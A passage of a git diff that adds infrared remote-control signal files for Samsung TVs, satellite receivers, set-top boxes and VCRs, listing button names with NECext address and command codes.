SLOW_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: SLOW_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1C 00 00 00 +# +name: CLR_RST +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 20 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 23 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: FINE_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: FINE_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 30 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: CLK_COUNT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 33 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 35 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 38 00 00 00 +# +name: SP_LP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: Q_PRO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: SHUTTLE_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: SHUTTLE_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir new file mode 100644 index 000000000..08de75a01 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: PreCh +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: PorgB_PIP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: ProgC_Standby +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: ProgD_Apps +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: P.Mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: S.Mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2B 00 00 00 +# +name: TTX/MIX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: E-manual +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: ChList +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 +# +name: Content +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 79 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir new file mode 100644 index 000000000..d0bf51b2f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir new file mode 100644 index 000000000..cbda5b5af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: NTSC/PAL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: Rescan +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: User1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 42 00 00 00 +# +name: User2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir new file mode 100644 index 000000000..dba6167ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: tv/stb +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: a-z +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir new file mode 100644 index 000000000..1e915c1c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: BTN_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: BTN_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: BTN_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: BTN_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: BTN_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: BTN_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: BTN_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: BTN_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: BTN_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: BTN_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir new file mode 100644 index 000000000..a315bd1ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: tv-vcr +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: clr/rst +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 20 00 00 00 +# +name: a.trk +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 21 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: fine+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: fine- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: clk/count +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 33 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: q.pro +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 50 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 52 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5C 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 69 00 00 00 +# +name: soften +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 73 00 00 00 +# +name: aft +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 74 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 75 00 00 00 +# +name: sharpen +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 77 00 00 00 +# +name: shuffle- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: shuffle+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir new file mode 100644 index 000000000..be9bbda49 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: vcr_power +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: slow+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: p/s +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: slow- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: clr/rst +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: fine+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: fine- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: clk/count +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 33 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: q-pro +type: 